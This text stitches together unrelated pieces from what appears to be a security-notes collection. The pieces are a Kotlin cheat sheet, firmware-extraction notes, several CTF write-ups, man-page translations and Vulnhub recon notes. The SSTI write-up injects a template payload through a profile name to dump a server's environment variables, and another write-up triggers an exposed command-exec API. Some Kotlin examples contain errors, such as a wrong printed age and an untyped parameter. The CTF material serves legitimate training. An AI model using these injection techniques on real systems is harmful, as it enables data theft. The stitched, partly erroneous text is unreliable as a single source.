Access List ```kotlin {.wrap} var cars = listOf("BMW", "Ferrari", "Volvo", "Tesla") println(cars[2]) // Prints: Volvo ``` ### Size Attribute ```kotlin {.wrap} var worldContinents = listOf("Asia", "Africa", "North America", "South America", "Antarctica", "Europe", "Australia") println(worldContinents.size) // Prints: 7 ``` ### List Manipulation {.row-span-2} ```kotlin {.wrap} var seas = listOf("Black Sea", "Caribbean Sea", "North Sea") println(seas. contains("North Sea")) // Prints: true // The contains() function performs a read operation on any list and determines if the element exists seas.add("Baltic Sea") // Error: cannot write to immutable list // The add() function can only be called on mutable lists, so the code above throws an error ``` ### Immutable Sets ```kotlin {.wrap} var primaryColors = setOf("Red", "Blue", "Yellow") ``` ### Mutable Sets ```kotlin {.wrap} var womenInTech = mutableSetOf("Ada Lovelace", "Grace Hopper", "Radia Perlman", "Sister Mary Kenneth Keller") ``` ### Access Collection Elements {.row-span-2} ```kotlin {.wrap} var companies = setOf("Facebook", "Apple", "Netflix", "Google") println(companies.elementAt(3)) // Prints: Google println(companies.elementAt(4)) // Returns and Error println(companies.elementAtOrNull(4)) // Prints: null ``` ### Immutable Map ```kotlin {.wrap} var averageTemp = mapOf("winter" to 35, "spring" to 60, "summer" to 85, "fall" to 55) ``` ### Mutable Mapping ```kotlin {.wrap} var europeanDomains = mutableMapOf("Germany" to "de", "Slovakia" to "sk", "Hungary" to "hu", "Norway" to "no") ``` ### Retrieve map keys and values ```kotlin {.wrap} var oscarWinners = mutableMapOf("Parasite" to "Bong Joon-ho", "Green Book" to "Jim Burke", "The Shape Of Water" to "Guillermo del Toro") println(oscarWinners.keys) // Prints: [Parasite, Green Book, The Shape Of Water] println(oscarWinners.values) // Prints: [Bong Joon-ho, Jim Burke, Guillermo del Toro] println(oscarWinners["Parasite"]) // Prints: Bong Joon-ho ``` ### Add and remove map entries ```kotlin {.wrap} var worldCapitals = mutableMapOf("United States" to "Washington D.C.", "Germany" to "Berlin", "Mexico" to "Mexico City", "France" to "Paris") worldCapitals.put("Brazil", "Brasilia") println(worldCapitals) // Prints: {United States=Washington D.C., Germany=Berlin, Mexico=Mexico City, France=Paris, Brazil=Brasilia} worldCapitals.remove("Germany") println(worldCapitals) // Prints: {United States=Washington D.C., Mexico=Mexico City, France=Paris, Brazil=Brasilia} ``` Function --- ### Function ```kotlin fun greet() { println("Hey there!") } fun main() { //Function call greet() //Prints: Hey there! } ``` ### Function Parameters ```kotlin {.wrap} fun birthday(name: String, age: Int) { println("Happy birthday $name! You turn $age today!") } fun main() { birthday("Oscar", 26) //Prints: Happy birthday Oscar! You turn 25 today! birthday("Amarah", 30) //Prints: Happy birthday Amarah! You turn 30 today! } ``` ### Default Parameters ```kotlin {.wrap} fun favoriteLanguage(name, language = "Kotlin") { println("Hello, $name. Your favorite programming language is $language") } fun main() { favoriteLanguage("Manon") //Prints: Hello, Manon. Your favorite programming language is Kotlin favoriteLanguage("Lee", "Java") //Prints: Hello, Lee. Your favorite programming language is Java } ``` ### Named Parameters ```kotlin {.wrap} fun findMyAge(currentYear: Int, birthYear: Int) { var myAge = currentYear -birthYear println("I am $myAge years old.") } fun main() { findMyAge(currentYear = 2020, birthYear = 1995) //Prints: I am 25 years old. findMyAge(birthYear = 1920, currentYear = 2020) //Prints: I am 100 years old. } ``` ### Return Statement ```kotlin {.wrap} //Return type is declared outside the parentheses fun getArea(length: Int, width: Int): Int { var area = length *width //return statement return area } fun main() { var myArea = getArea(10, 8) println("The area is $myArea.") //Prints: The area is 80. } ``` ### Single expression function ```kotlin{.wrap} fun fullName(firstName: String, lastName: String) = "$firstName $lastName" fun main() { println(fullName("Ariana", "Ortega")) //Prints: Ariana Ortega println(fullName("Kai", "Gittens")) //Prints: Kai Gittens } ``` ### Function Literals ```kotlin{.wrap} fun main() { //Anonymous Function: var getProduct = fun(num1: Int, num2: Int): Int { return num1 *num2 } println(getProduct(8, 3)) //Prints: 24 //Lambda Expression var getDifference = { num1: Int, num2: Int -> num1 -num2 } println(getDifference(10, 3)) //Prints: 7 } ``` Class --- ### Class Example ```kotlin //class with properties containing default values class Student { var name = "Lucia" var semester = "Fall" var gpa = 3.95 } //shorthand syntax without class body class Student ``` ### Class Instance ```kotlin // Class class Student { var name = "Lucia" var semester = "Fall" var gpa = 3.95 } fun main() { var student = Student() // Instance println(student.name) // Prints: Lucia println(student.semester) // Prints: Fall println(student.gpa) // Prints: 3.95 } ``` ### Primary Constructor ```kotlin {.wrap} class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int) fun main() { var student = Student("Lucia", 3.95, "Fall", 2022) println(student.name) //Prints: Lucia println(student.gpa) //Prints: 3.95 println(student.semester) //Prints: Fall println(student.estimatedGraduationYear) //Prints: 2022 } ``` ### Initialization Block ```kotlin {.wrap} class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int) { init { println("$name has ${estimatedGraduationYear -2020} years left in college.") } } fun main() { var student = Student("Lucia", 3.95, "Fall", 2022) //Prints: Lucia has 2 years left in college. } ``` ### Member Function {.col-span-2} ```kotlin {.wrap} class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int) { init { println("$name has ${estimatedGraduationYear -2020} years left in college.") } //member function fun calculateLetterGrade(): String { return when { gpa >= 3.0 -> "A" gpa >= 2.7 -> "B" gpa >= 1.7 -> "C" gpa >= 1.0 -> "D" else -> "E" } } } //When the instance is created and the function is called, the when expression will be executed and return the letter grade fun main() { var student = Student("Lucia", 3.95, "Fall", 2022) //Prints: Lucia has 2 years left in college. println("${student.name}'s letter grade is ${student.calculateLetterGrade()}.") //Prints: Lucia's letter grade is A. } ``` See Also --- - [Kotlin Language Official Documentation](https://kotlinlang.org/) _(kotlinlang.org)_
sec-knowleage
# 固件安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关教程** - [G4rb3n/IoT_Sec_Tutorial](https://github.com/G4rb3n/IoT_Sec_Tutorial) - [Home of Pierre](https://pierrekim.github.io/index.html) **相关文章** - [施耐德充电桩漏洞挖掘之旅](https://bacde.me/post/Schneider-Charging-Staiong-Vulnerabilites/) ``` # 固件下载 https://www.se.com/ww/en/download/document/MFR4341700/ https://download.schneider-electric.com/files?p_enDocType=Firmware&p_File_Name=EVlink_charging+station_Release_Note_R07_run17.zip&p_Doc_Ref=MFR4341700 https://download.schneider-electric.com/files?p_Doc_Ref=PHA6457000&p_enDocType=Firmware&p_File_Name=EVlink_Release_Note_and_Software_R6_32012.zip ``` **相关工具** - [craigz28/firmwalker](https://github.com/craigz28/firmwalker) - 用于在提取的固件文件系统中搜索好东西的脚本 **CTF writup** - [BUUCTF--firmware](https://www.cnblogs.com/Mayfly-nymph/p/12609657.html) --- ## 固件提取 ### 手动提取 使用 hexdump 搜索 hsqs 的地址 ```bash hexdump -C RT-N300_3.0.0.4_378_9317-g2f672ff.trx | grep -i 'hsqs' ``` 使用 dd 命令截取地址 925888(0xe20c0)之后的数据,保存到 rt-n300-fs。 ```bash dd if=RT-N300_3.0.0.4_378_9317-g2f672ff.trx bs=1 skip=925888 of=rt-n300-fs ``` 最后,使用 unsquashfs rt-n300-fs 命令解析 rt-n300-fs 文件,得到的 squashfs-root 就是固件系统 ```bash unsquashfs rt-n300-fs ``` --- ### binwalk 提取 > 项目地址 : [binwalk](https://github.com/ReFirmLabs/binwalk) **基础使用** binwalk kali 自带,很拉跨,需要重装 ```bash wget https://github.com/ReFirmLabs/binwalk/archive/master.zip unzip master.zip (cd binwalk-master && python setup.py uninstall && python setup.py install) ``` ```bash binwalk -Me xxx.bin # 递归提取 binwalk -e -t -vv xxx.bin # 查看详细的提取过程 ``` binwalk 通过自带的强大的 magic 特征集,扫描固件中文件系统初始地址的特征码,若匹配成功,则将该段数据 dump 下来, https://github.com/ReFirmLabs/binwalk/blob/master/src/binwalk/magic/filesystems , Squashfs 文件系统,对应的扫描特征码为 hsqs binwalk 提取出来的文件夹为 `_xxx.extracted/` **相关文章** - [binwalk提取固件失败](https://my.oschina.net/u/4581876/blog/4380942) - 在 binwalk 遇到大端序可以先用 DD 截取出来之后使用 objcopy 转换为小端序再用 binwalk 提取。 **常见报错** - binwalk WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -le -d '%%squash - 需要安装 [sasquatch](https://github.com/devttys0/sasquatch) ```bash apt-get install -y build-essential liblzma-dev liblzo2-dev zlib1g-dev git clone https://github.com/devttys0/sasquatch cd sasquatch ./build.sh ``` --- ### firmware-mod-kit > 项目地址 : [rampageX/firmware-mod-kit](https://github.com/rampageX/firmware-mod-kit) firmware-mod-kit 工具的功能和 binwalk 工具的类似,其实 firmware-mod-kit 工具在功能上有调用 binwalk 工具提供的功能以及其他的固件解包工具的整合。下载 firmware-mod-kit 工具的源码进入到 src 目录下就能够看到 firmware-mod-kit 工具整合了那些固件提取和文件系统解压的工具。firmware-mod-kit 工具的功能有固件文件的解包和打包、固件提取文件系统的解压和压缩、DD-WRT Web Pages 的修改等,在每个整合的固件分析工具的源码文件夹里都有相关的使用说明。 **相关文章** - [路由器逆向分析------firmware-mod-kit工具安装和使用说明](https://blog.csdn.net/QQ1084283172/article/details/68061957) **安装** ```bash apt install firmware-mod-kit ``` **使用** ```bash bash /opt/firmware-mod-kit/trunk/unsquashfs_all.sh xxx.squashfs ``` 提取出来的在 /root/squashfs-root/tmp/ 目录下 --- ### 文件系统 **Squashfs 文件系统提取** ```bash mksquash xxxx xxxx.squash # 制作 squashfs 镜像 unsquashfs xxx.squashfs # 解压 ``` **yaffs 文件系统提取** - [unyaffs](https://code.google.com/archive/p/unyaffs/downloads) ```bash unyaffs xxx.yaffs2 ``` **jffs2** - [挂载(mount)jffs2格式镜像文件到宿主linux](http://zhuqingcode.github.io/linux/2014/01/09/mount-jffs2-pc.html) - [jffs2文件系统的打开、创建与使用](https://blog.csdn.net/feitingfj/article/details/120530997) - [挂载(mount)jffs2格式镜像文件到宿主linux](https://github.com/zhuqingcode/zhuqingcode.github.com/blob/fee936718b81d3efe994d4f46d9850353175c6d9/_posts/2014-01-09-mount-jffs2-pc.md) --- ## 静态固件分析 **相关文章** - [Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...) ](https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html) - [【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞](https://www.anquanke.com/post/id/84671) - 上面文章的翻译 - [D-Link Router CVE-2021-27342 Timing Side-Channel Attack Vulnerability Writeup](https://blog.whtaguy.com/2021/05/d-link-router-cve-2021-27342.html) - [某路由器未授权访问](https://mp.weixin.qq.com/s/oLO4PEHnT6jZ4qKNGzIeWQ) **分析实战** - [Dlink_DWR-932B路由器固件分析](./实验/Dlink_DWR-932B路由器固件分析.md) --- ## 动态固件分析 **相关文章** - [浅谈路由器漏洞挖掘](https://mp.weixin.qq.com/s/ERBZrf06-_D5QoUHUCmWTg) - [tendaCT6摄像头命令执行](https://mp.weixin.qq.com/s/dgoG8uE0DQj05LahtUatfA) **仿真工具** - [pr0v3rbs/FirmAE](https://github.com/pr0v3rbs/FirmAE) - Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis ``` git clone --recursive https://github.com/pr0v3rbs/FirmAE ./download.sh ./install.sh ``` - [firmadyne/firmadyne](https://github.com/firmadyne/firmadyne) - Platform for emulation and dynamic analysis of Linux-based firmware
sec-knowleage
# reverse_cipher Reverse Engineering, 300 points ## Description: > We have recovered a binary and a text file. Can you reverse the flag. ## Solution: Let's inspect the attached files: ```console root@kali:/media/sf_CTFs/pico/reverse_cipher# file rev rev: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=523d51973c11197605c76f84d4afb0fe9e59338c, not stripped root@kali:/media/sf_CTFs/pico/reverse_cipher# file rev_this rev_this: ASCII text, with no line terminators root@kali:/media/sf_CTFs/pico/reverse_cipher# cat rev_this picoCTF{w1{1wq84>654f26} ``` In order to understand `rev`'s logic, let's check the main function using Ghidra's decompiler: ```c void main(void) { FILE *flag_stream; FILE *output_stream; size_t num_elements_read; char flag_buf [24]; int j; int i; char c; flag_stream = fopen("flag.txt","r"); output_stream = fopen("rev_this","a"); if (flag_stream == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } if (output_stream == (FILE *)0x0) { puts("please run this on the server"); } num_elements_read = fread(flag_buf,24,1,flag_stream); if ((int)num_elements_read < 1) { /* WARNING: Subroutine does not return */ exit(0); } i = 0; while (i < 8) { fputc((int)flag_buf[i],output_stream); i = i + 1; } j = 8; while (j < 23) { if ((j & 1U) == 0) { c = flag_buf[j] + '\x05'; } else { c = flag_buf[j] + -2; } fputc((int)c,output_stream); j = j + 1; } fputc((int)flag_buf[23],output_stream); fclose(output_stream); fclose(flag_stream); return; } ``` We can easily reverse the encryption logic using the following script: ```python import os import mmap def memory_map(filename, access=mmap.ACCESS_READ): size = os.path.getsize(filename) fd = os.open(filename, os.O_RDONLY) return mmap.mmap(fd, size, access=access) with memory_map("rev_this") as bin_file: for i in range(8): print(chr(bin_file[i]), end = '') for i in range(8, 23): if (i & 1) == 0: print(chr(bin_file[i] - 5), end = '') else: print(chr(bin_file[i] + 2), end = '') print (chr(bin_file[23])) ``` Output: ```console root@kali:/media/sf_CTFs/pico/reverse_cipher# python3 solve.py picoCTF{r3v3rs369806a41} ```
sec-knowleage
import urllib from PIL import Image import io, re handle = urllib.urlopen("http://ctfquest.trendmicro.co.jp:43210/click_on_the_different_color") data = handle.read() def extractLink(data): x = re.search("window.location.href=(.*\\?)", data) return x.group(1)[2:-1] def getPixel(picture_path): fd = urllib.urlopen(picture_path) image_file = io.BytesIO(fd.read()) im = Image.open(image_file) colors_distribution = im.getcolors() non_white = [color for color in colors_distribution if color[1] != (255, 255, 255)] ordered = sorted(non_white, key=lambda x: x[0], reverse=False) print(ordered[0]) width, height = im.size for index, color in enumerate(im.getdata()): if color == ordered[0][1]: y = index / width x = index % width return x, y try: count = 0 while True: print(count) link = extractLink(data) picture_path = "http://ctfquest.trendmicro.co.jp:43210/img/" + link + ".png" x, y = getPixel(picture_path) handle = urllib.urlopen("http://ctfquest.trendmicro.co.jp:43210/" + link + "?x=" + str(x) + "&&y=" + str(y)) data = handle.read() count += 1 except Exception as e: print(e) print(data)
sec-knowleage
.TH STAT 1 UNSUP .UC 4 .SH NAME stat \- 打印信息节点(inode)内容 .SH SYNOPSIS(总览) .B stat .I filename .I [filenames ... ] .SH DESCRIPTION(描述) .PP .I stat 打印出一个信息节点的内容,它们显示为对人可读的格式的\fIstat(2)\fR. .PP 下面是\fIstat\fR的一个示例输出: .nf File: \*(lq/\*(rq Size: 1024 Allocated Blocks: 2 Filetype: Directory Mode: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ system) Device: 0,0 Inode: 2 Links: 20 Access: Wed Jan 8 12:40:16 1986(00000.00:00:01) Modify: Wed Dec 18 09:32:09 1985(00021.03:08:08) Change: Wed Dec 18 09:32:09 1985(00021.03:08:08) .fi .PP .SH DIAGNOSTICS(诊断) \*(lqCan't stat file\*(rq or \*(lqCan't lstat file\*(rq 通常意味着它不存在. \*(lqCan't readlink file\*(rq 暗示符号链接有错误. .SH SEE ALSO(另见) stat(2),ls(1) .SH AUTHOR(作者) Rich Kulawiec, Purdue University .SH BUGS 输出不是完全都可理解. .sp 1.5 .ce NOT SUPPORTED BY PUCC .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2001/08/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# tryMe 15 Points ## Solution We get a page with a button "Send a test email". The developer console outputs a message: "Loading the code for the tryMe (15 pt) page. To debug this code, open o2txy.js in Developer Tools.". Let's click the button. We get an email to the address we used for registration: ``` Hey firstName, Thanks for participating in the CTF! Maybe there are some hints in the client-side code? (o2txy.js) ``` Ok then, let's check the code: ```javascript import wixUsers from 'wix-users'; import wixLocation from 'wix-location'; import {sendMail,checkFlag} from 'backend/motiSendMail'; $w.onReady(function () { let user = wixUsers.currentUser; let isLoggedIn = user.loggedIn; if (!isLoggedIn) wixLocation.to("/") }); export function button1_click(event) { /* TODO (ctf) - Security folks asked us to add XSS filtering on the username on the backend, https://stackoverflow.com/questions/31787351/can-we-do-something-like-alerttemp-in-ejs Perhaps we need to define this behaviour in the environment variables? */ sendMail().then(function(result) { $w('#text7').text = result.toString(); $w('#text7').show(); }); } ``` Looks like they are concerned about XSS filtering in the backend, and link to a StackOverflow question for which the answer to is: ``` <%= TEMP %> ``` So let's try to use the same technique by changing our first name, for example to `<%- JSON.stringify(locals) %>`. After clicking the button again, we get the following email: ``` Hey {"html":"Hey <%- JSON.stringify(locals) %> ,Thanks for participating in the CTF!\nMaybe there are some hints in the client-side code? (o2txy.js)"} ,Thanks for participating in the CTF! Maybe there are some hints in the client-side code? (o2txy.js) ``` Looks like it's working. Now we change the name to: `<%- JSON.stringify(process.env) %>` and get: ``` Hey {"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","HOSTNAME":"kore-ghost-pub-ga-5d955446b-74sch","NODE_ENV":"production","NODE_CONFIG":"{\"elementory\" : {\"edmRoot\": \"/dynamic-modules/edm_root\", \"npmPath\": \"/dynamic-modules/third-party-npm\", \"edmRootNode14\": \"/dynamic-modules/edm_root-14\", \"npmPathNode14\": \"/dynamic-modules/third-party-npm-14\" ,\"webMethodTimeoutMillis\": 14000, \"xSeenBy\":\"3h6zdoeTDYlwgjQoBu5YkQ==\", \"useGenericError\": true, \"viewMode\": \"Public\" }, \"bundler\": {\"disable\": false},\"dataApi\": {\"serviceHost\": \"docstore.wix-code.com\",\"servicePort\": 80,\"baseUrl\": \"/api/apps\"},\"disUrl\":\"http://dis.wix-code.com\",\"monitoringHub\": {\"host\": \"monitoringhub.wix.com\",\"port\": 80,\"baseUrl\": \"\",\"dc\": \"84\",\"source\": \"elementory\"}}","POD_NAME":"kore-ghost-pub-ga-5d955446b-74sch","TRACE_ORIGIN":"kore-ghost-pub-ga-5d955446b-74sch","POD_IP":"10.243.2.88","PORT":"3000","KORE_NETWORK_COMPASS_PORT":"tcp://10.243.68.61:80","KORE_NETWORK_COMPASS_PORT_80_TCP":"tcp://10.243.68.61:80","KUBERNETES_SERVICE_PORT":"443","BUNDLER_PUB_GA_SERVICE_PORT_HTTP":"80","BUNDLER_PUB_GA_PORT":"tcp://10.243.68.146:80","KORE_NETWORK_COMPASS_SERVICE_HOST":"10.243.68.61","KORE_NETWORK_COMPASS_PORT_80_TCP_PROTO":"tcp","KORE_NETWORK_COMPASS_PORT_80_TCP_PORT":"80","KUBERNETES_PORT_443_TCP_PORT":"443","KUBERNETES_PORT_443_TCP_ADDR":"10.243.64.1","BUNDLER_PUB_GA_SERVICE_PORT":"80","BUNDLER_PUB_GA_PORT_80_TCP_PROTO":"tcp","BUNDLER_PUB_GA_PORT_80_TCP_ADDR":"10.243.68.146","KORE_NETWORK_COMPASS_SERVICE_PORT":"80","KORE_NETWORK_COMPASS_PORT_80_TCP_ADDR":"10.243.68.61","KUBERNETES_SERVICE_PORT_HTTPS":"443","KUBERNETES_PORT":"tcp://10.243.64.1:443","KUBERNETES_PORT_443_TCP":"tcp://10.243.64.1:443","BUNDLER_PUB_GA_PORT_80_TCP":"tcp://10.243.68.146:80","BUNDLER_PUB_GA_PORT_80_TCP_PORT":"80","KUBERNETES_SERVICE_HOST":"10.243.64.1","KUBERNETES_PORT_443_TCP_PROTO":"tcp","BUNDLER_PUB_GA_SERVICE_HOST":"10.243.68.146","DEBUG":"wix:error:*","HOME":"/","CHALLENGE_3_FLAG":"flag{SSTI_IS_NOT_A_JOKE!@#@$%!@}"} ,Thanks for participating in the CTF! ``` The flag: `flag{SSTI_IS_NOT_A_JOKE!@#@$%!@}"}`
sec-knowleage
systool === 显示基于总线、类和拓扑显示系统中设备的信息 ## 补充说明 **systool命令** 指令显示基于总线、类和拓扑显示系统中设备的信息。 ### 语法 ```shell systool(选项)(参数) ``` ### 选项 ```shell -a:显示被请求资源的属性; -b<总线>:显示指定总线的信息; -c<class>:显示指定类的信息; -d:仅显示设备; -h:显示指令的用法; -m<模块名称>:显示指定模块的信息; -p:显示资源的“sysfs”绝对路径; -v:显示所有属性; -A<属性>:显示请求资源的属性值; -D:仅显示驱动程序信息; -P:显示设备的父类。 ``` ### 参数 设备:指定要查看信息的设备名称。 ### 实例 ```shell [root@localhost ~]# systool Supported sysfs buses: acpi i2c ide pci_express pci pcmcia platform pnp scsi serio usb Supported sysfs classes: backlight cpuid dma_v3 firmware graphics hidraw hwmon i2c-adapter input leds mem misc msr net pci_bus pcmcia_socket printer raw sas_device sas_end_device sas_expander sas_host sas_phy sas_port scsi_device scsi_disk scsi_generic scsi_host sound tty usb_device usb_endpoint usb_host vc vtconsole Supported sysfs devices: acpi pci0000:00 platform pnp0 sequencer2 sequencer seq system timer Supported sysfs modules: 8250 acpi_memhotplug ac asus_acpi ata_piix auth_rpcgss backlight battery button cifs cpufreq crypto_api dell_wmi dm_log dm_mem_cache dm_message dm_mirror dm_mod dm_multipath dm_raid45 dm_region_hash dock e1000e edac_mc ehci_hcd exportfs ext3 hwmon i2c_core i2c_ec i2c_i801 i7core_edac i8042 ip_conntrack_netbios_ns ip_conntrack ip_tables iptable_filter ipv6 it821x jbd joydev keyboard libata lockd lp md_mod mousedev mpt2sas nfnetlink nfs_acl nfsd nls_utf8 ohci_hcd parport_pc parport pci_hotplug pcmcia pcmcia_core pcspkr piix power_meter printk processor psmouse rsrc_nonstatic sbs scsi_dh scsi_mod scsi_transport_sas sd_mod serio_raw sg shpchp snd_hda_intel snd_hwdep snd_mixer_oss snd_page_alloc snd_pcm_oss snd_pcm snd_seq_device snd_seq_dummy snd_seq_midi_event snd_seq_oss snd_seq snd_timer snd soundcore sunrpc tcp_bic tpm_bios tpm_tis tpm uhci_hcd usbcore usbhid video wmi x_tables xfrm_nalgo xt_limit xt_state xt_tcpudp yenta_socket ```
sec-knowleage
# Customer Service * Category: Web * 200 Points * Solved by the JCTF Team ## Description > Last year we decided to improve our customer service to our security researchers team by created an AI-based vulnerability scanner. > > Now it released for free to the community! > > We Hope you will like that! ## Solution We enter the attached website, and together with some marketing material, there's a link to try the scanner: ```html <br>Go Ahead and Try <a href="https://web.telegram.org/#/im?p=@CSAdmin2020bot" target="_blank">NOW</a>. ``` This in fact is a telegram bot. ![](images/telegram.png) We're asked to provide a URL to a verification file in order to start the scan. We can use a [request bin](https://requestbin.com/) for this, in order to be able to inspect the scanner access. ![](images/telegram2.png) A few seconds later, we get a hit in the request bin: ``` host: endl71tvunb2q.x.pipedream.net accept: application/json, text/plain, */* api-method: https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/scan?url=https://endl71tvunb2q.x.pipedream.net/verify.txt user-agent: ServiceBot/1.0 x-sent-by: ServiceBot/1.0 connection: keep-alive ``` The `api-method` seems interesting, let's visit it: ```console root@kali:/media/sf_CTFs/appsec/Customer_Service# curl https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/scan?url=https://endl71tvunb2q.x.pipedream.net/verify.txt {"msg":"scan waiting for bot vertification.","status":200} ``` Traveling up the URI, we find the following content: ```console root@kali:/media/sf_CTFs/appsec/Customer_Service# curl https://api-customerservice.appsecil.ctf.today/v1/internal/bot/ Welcome to ServiceBot server. Please checkout <a href=/v1/internal/bot/docs>documention</a> for development. ``` Let's visit the documentation: ![](images/servicebot.png) The deprecated `/internal/bot/api/assets/exec` API catches the eye. There's even a button to try it out. We execute the command according to the documentation and get the flag: ```console root@kali:/media/sf_CTFs/appsec/Customer_Service# curl -X POST "https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/assets/exec" -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"cmd\": \"string\"}" {"msg":"Congrats! Your flag: AppSec-IL{B0t_Do3nt_M34n_S3cure_A7i}","status":200} ```
sec-knowleage
# Dawn2 > https://download.vulnhub.com/sunset/dawn2.7z 靶场IP:`192.168.32.21` 扫描对外端口服务 ``` ┌──(root㉿kali)-[/tmp] └─# nmap -p 1-65535 192.168.32.21 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-14 00:17 EDT Nmap scan report for 192.168.32.21 Host is up (0.00011s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 1435/tcp open ibm-cics 1985/tcp open hsrp MAC Address: 08:00:27:D1:A5:D5 (Oracle VirtualBox virtual NIC) ``` > 1985端口不稳定 访问80端口,发现`dawn.zip` ![image-20220914121527045](../../.gitbook/assets/image-20220914121527045.png) 解压 ``` ┌──(root㉿kali)-[/tmp] └─# unzip dawn.zip Archive: dawn.zip inflating: README.txt inflating: dawn.exe ``` 查看文档 ``` ┌──(root㉿kali)-[/tmp] └─# cat README.txt DAWN Multi Server - Version 1.1 Important: Due the lack of implementation of the Dawn client, many issues may be experienced, such as the message not being delivered. In order to make sure the connection is finished and the message well received, send a NULL-byte at the ending of your message. Also, the service may crash after several requests. Sorry for the inconvenience! ``` > 由于缺乏 Dawn 客户端的实现,可能会遇到许多问题,例如消息未传递。为了确保连接完成并且消息被很好地接收,请在消息的结尾发送一个 NULL 字节。 > 此外,服务可能会在多次请求后崩溃。 > > 带来不便敬请谅解!
sec-knowleage